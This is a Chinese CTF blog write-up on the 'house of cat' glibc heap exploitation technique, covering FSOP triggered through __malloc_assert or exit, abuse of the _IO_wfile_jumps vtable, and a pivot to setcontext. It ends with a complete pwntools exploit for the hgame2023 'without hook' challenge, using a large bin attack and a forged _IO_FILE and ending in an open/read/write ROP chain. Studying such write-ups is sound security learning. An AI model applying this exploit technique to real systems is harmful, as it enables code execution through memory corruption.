house of cat

例题是hgame的week4,比赛的时候摆烂了,昨天学长提了所以补一下

原理

高版本变化

关于_IO_flush_all_lockp

触发FSOP的途径有三个:

  • 程序执行exit
  • 程序从main函数正常返回
  • 触发malloc_printerr

但是从2.27开始,abort函数不再执行fflush,第三种利用方式就不成立了

但还有一个assert可以利用
assert的宏定义如下,可见如果assert的表达式为假会执行__assert_fail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//glibc-2.37\assert\assert.h

# if defined __cplusplus
# define assert(expr) \
(static_cast <bool> (expr) \
? void (0) \
: __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION))
# elif !defined __GNUC__ || defined __STRICT_ANSI__
# define assert(expr) \
((expr) \
? __ASSERT_VOID_CAST (0) \
: __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION))
# else
# define assert(expr) \
((void) sizeof ((expr) ? 1 : 0), __extension__ ({ \
if (expr) \
; /* empty */ \
else \
__assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION); \
}))
# endif

malloc.c中有一个__assert_fail函数(2.36中删除了fflush,2.37删除了__malloc_assert函数):

  • 2.35
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    #ifndef NDEBUG
    # define __assert_fail(assertion, file, line, function) \
    __malloc_assert(assertion, file, line, function)

    extern const char *__progname;

    static void
    __malloc_assert (const char *assertion, const char *file, unsigned int line,
    const char *function)
    {
    (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
    __progname, __progname[0] ? ": " : "",
    file, line,
    function ? function : "", function ? ": " : "",
    assertion);
    fflush (stderr);
    abort ();
    }
    #endif
  • 2.36用__libc_message替换了__fxprintf,且用__builtin_unreachable替换了fflush和abort,没有fflush assert的利用在2.36无法执行
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    #ifndef NDEBUG
    # define __assert_fail(assertion, file, line, function) \
    __malloc_assert(assertion, file, line, function)

    _Noreturn static void
    __malloc_assert (const char *assertion, const char *file, unsigned int line,
    const char *function)
    {
    __libc_message (do_abort, "\
    Fatal glibc error: malloc assertion failure in %s: %s\n",
    function, assertion);
    __builtin_unreachable ();
    }
    #endif
  • 2.37虽然malloc.c中没有了__assert_fail函数,但assert.c中有__assert_fail函数,且也调用了fflush
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    void
    __assert_fail (const char *assertion, const char *file, unsigned int line,
    const char *function)
    {
    __assert_fail_base (_("%s%s%s:%u: %s%sAssertion `%s' failed.\n%n"),
    assertion, file, line, function);
    }

    void
    __assert_fail_base (const char *fmt, const char *assertion, const char *file,
    unsigned int line, const char *function)
    {
    char *str;

    #ifdef FATAL_PREPARE
    FATAL_PREPARE;
    #endif

    int total;
    if (__asprintf (&str, fmt,
    __progname, __progname[0] ? ": " : "",
    file, line,
    function ? function : "", function ? ": " : "",
    assertion, &total) >= 0)
    {
    (void) __fxprintf (NULL, "%s", str);
    (void) fflush (stderr);
    ……

综上,2.36无法使用assert触发漏洞,2.35以前和2.37可以
利用__malloc_assert中执行的fflush函数(不用在意stderr,之后这个参数就没有用了)触发漏洞
主要使用的触发assert的部分在sysmalloc中。在_int_malloc中,如果top chunk不够分配会调用sysmalloc,在sysmalloc中如果请求大小小于mp_.mmap_threshold(0x20000)会拓展top chunk,这里有一个assert

1
2
3
4
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));

触发条件:

  • top chunk大小小于MINSIZE(0x20)
  • pre_inuse位为0
  • top chunk没有页对齐

关于vtable

2.24增加了对vtable位置的检查,2.28又将常利用的相对地址引用替换成了malloc和free,堵死了这条调用链
看一眼跳转表的宏定义,发现只有JUMP跳转有vtable检查,而WJUMP没有

_IO_wfile_jumps结构体使用WJUMP,那么我们可以考虑伪造_IO_wfile_jumps的vtable,_IO_wfile_jumps结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//glibc-2.37\libio\wfileops.c

const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT(xsputn, _IO_wfile_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_wfile_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
JUMP_INIT(doallocate, _IO_wfile_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

house of cat

_IO_wfile_jumps结构体中的_IO_wfile_seekoff源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//glibc-2.37\libio\wfileops.c

off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;

if (mode == 0)
return do_ftell_wide (fp);

int must_be_exact = ((fp->_wide_data->_IO_read_base
== fp->_wide_data->_IO_read_end)
&& (fp->_wide_data->_IO_write_base
== fp->_wide_data->_IO_write_ptr));

bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));

if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;
……

要调用_IO_switch_to_wget_mode必须要通过was_writing的检查,即fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
_IO_switch_to_wget_mode源码如下,_IO_WOVERFLOW是通过跳转表调用的:

1
2
3
4
5
6
7
8
9
//glibc-2.37\libio\wgenops.c

int
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
……

再看看_IO_switch_to_wget_mode的汇编代码:

我们可以通过rdi控制rdx和rax,在有沙箱的情况下调用setcontext
具体利用过程见例题

调用链

1
__malloc_assert(exit)->_IO_flush_all_lockp(fflush)->_IO_wfile_seekoff->_IO_switch_to_wget_mode->setcontext(system)

例题

hgame2023 week4 without hook

思路

uaf不解释了,直接开始
泄露libc和堆地址就不说了,large bin attack将堆地址写入_IO_list_all然后调用exit正常退出
接下来就是疯狂调试伪造_IO_FILE_plus结构体,步骤如下:

  • fp->_mode<=0,fp->_IO_write_ptr>fp->_IO_write_base
  • vtable指向_IO_wfile_jumps+48(利用偏移使_IO_flush_all_lockp调用_IO_OVERFLOW实际进入_IO_wfile_seekoff
  • 函数进入_IO_switch_to_wget_mode,要求伪造fp->_wide_data
  • 伪造_IO_wide_data结构体,_wide_data->_IO_write_ptr>_wide_data->_IO_write_base
  • 伪造vtable指向堆地址,利用_IO_WOVERFLOW指向setcontext+53
  • 寄存器布置边调试边改就行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'

def add(index,size):
p.sendlineafter(b'>',b'1')
p.sendlineafter(b'Index: ',str(index).encode())
p.sendlineafter(b'Size: ',str(size).encode())
def delete(index):
p.sendlineafter(b'>',b'2')
p.sendlineafter(b'Index: ',str(index).encode())
def edit(index,data):
p.sendlineafter(b'>',b'3')
p.sendlineafter(b'Index: ',str(index).encode())
p.sendafter(b'Content: ',data)
def show(index):
p.sendlineafter(b'>',b'4')
p.sendlineafter(b'Index: ',str(index).encode())

p=process('./hook')
libc=ELF('./libc.so.6')
#large bin attack change _IO_list_all
add(0,0x550)#p1
add(1,0x500)#pad
add(2,0x540)#p2
add(3,0x500)#pad
delete(0)
show(0)
libcbase=u64(p.recvuntil(b'\x7f').ljust(8,b'\x00'))-0x1d2cc0
print(hex(libcbase))
add(4,0x600)#p3
delete(2)
edit(0,b'a'*0x10)
show(0)
p.recvuntil(b'a'*0x10)
heap=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
print(hex(heap))
_IO_list_all=libcbase+libc.symbols['_IO_list_all']
setcontext=libcbase+0x40eb5
ret_addr=libcbase+0x270c2
edit(0,p64(libcbase+0x1d3100)+p64(libcbase+0x1d3100)+p64(heap)+p64(_IO_list_all-0x20))
add(5,0x800)
heap=heap-0x290+0xd00
fake_IO=b'./flag\x00\x00'+p64(0)*2+p64(1)
fake_IO=fake_IO.ljust(0xa0-0x10,b'\x00')
fake_IO+=p64(heap+0xe0)+p64(heap+0x200)+p64(ret_addr)
fake_IO=fake_IO.ljust(0xc0-0x10,b'\x00')
fake_IO+=p64(0xffffffffffffffff)
fake_IO=fake_IO.ljust(0xd8-0x10,b'\x00')
fake_IO+=p64(libcbase+0x1cf0a0+0x30)
fake_IO_wide=p64(0)*4
fake_IO_wide+=p64(heap+8)
fake_IO_wide=fake_IO_wide.ljust(0xe0,b'\x00')
fake_IO_wide+=p64(heap+0x1c8)
fake_IO+=fake_IO_wide
fake_IO+=p64(0)*3+p64(setcontext)
fake_IO=fake_IO.ljust(0x200-0x10,b'\x00')
read_addr=libcbase+libc.symbols['read']
write_addr=libcbase+libc.symbols['write']
open_addr=libcbase+libc.symbols['open']
rdi_addr=libcbase+0x27725
rsi_addr=libcbase+0x28ed9
rdx_addr=libcbase+0xfdd4d
fake_IO+=p64(rdi_addr)+p64(heap+0x10)+p64(rsi_addr)+p64(0)+p64(open_addr)
fake_IO+=p64(rdi_addr)+p64(3)+p64(rsi_addr)+p64(heap+0x10)+p64(rdx_addr)+p64(0x30)+p64(read_addr)
fake_IO+=p64(rdi_addr)+p64(1)+p64(rsi_addr)+p64(heap+0x10)+p64(rdx_addr)+p64(0x30)+p64(write_addr)
edit(2,fake_IO)
gdb.attach(p)
p.sendlineafter(b'>',b'5')
p.interactive()
pause()

house of cat
http://akaieurus.github.io/2023/02/24/house-of-cat/
作者
Eurus
发布于
2023年2月24日
许可协议